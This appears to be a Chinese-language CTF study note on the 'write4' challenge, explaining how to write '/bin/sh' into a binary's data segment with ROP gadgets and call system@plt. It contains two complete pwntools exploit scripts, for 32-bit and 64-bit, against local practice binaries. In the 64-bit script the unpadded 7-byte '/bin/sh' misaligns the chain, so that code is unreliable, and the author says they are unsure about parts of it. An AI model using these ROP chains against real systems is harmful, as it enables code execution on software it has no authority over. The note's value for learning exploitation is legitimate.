4_write4

1.观察有没有system没有/bin/sh ,我们可以尝试想bss或者date段写入/bin/sh.,使用plt表的system
2.mov [edi], ebp-MOV 内存单元 寄存器
寄存器ESIEDISIDI称为变址寄存器(Index Register),它们主要用于存放存储单元在段内的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。

思考:为什么有一个system函数,不讲/bin/sh传入data段里面,然后调用这个函数完成调用?
32
# -*- coding:UTF-8 -*-
from pwn import*
##context.log_level = 'debug'
p  = process("./write432")
##p = remote("","")

date_addr = 0x804A028
system_elf_addr = 0x8048430
move_edi_ebp_addr = 0x8048670
pop_edi_ebp_addr = 0x80486da

payload = 'A'*0x2c
payload += p32(pop_edi_ebp_addr) + p32(date_addr) + "/bin" + p32(move_edi_ebp_addr)
payload += p32(pop_edi_ebp_addr) + p32(date_addr+4) + "/sh\x00" + p32(move_edi_ebp_addr)
payload += p32(system_elf_addr) + p32(0) + p32(date_addr)

p.sendline(payload)
p.interactive()




首先我们是发现了 溢出的漏洞  我们没有可以利用sysytem入口  也没有/bin/sh的字符串。  
 只有system_plt的地址  我们需要传入/bin/sh让我们利用,  
 将利用godget片段 传入edi>然后跳转到edi利用,
我们需要一个介质来装载/bin/sh  就是我们的date_addr

#p32(0)  是用来覆盖rbp的地址  (自己有疑惑)


这道题填入和调用没什么大问题,最关键的要记住,64位的数据不是直接传入栈里面的,我们需要一个pop来将我们的system和/bin/sh的地址接收。

64

from pwn import*
##context.log_level = 'debug'
p  = process("./write4")
##p = remote("","")
date_addr = 0x601050
system_plt_addr = 0x4005e0
pop_r14_r15_addr = 0x400890
mov_r14_r15_addr = 0x400820
pop_edi_addr = 0x400893

payload = 'A' * 0x20 + p64(0)
payload += p64(pop_r14_r15_addr)
payload += p64(date_addr)
payload += "/bin/sh"
payload += p64(mov_r14_r15_addr)
payload += p64(pop_edi_addr)
payload += p64(date_addr)
payload += p64(system_plt_addr)

p.sendline(payload)
p.interactive()

你可能感兴趣的:(4_write4)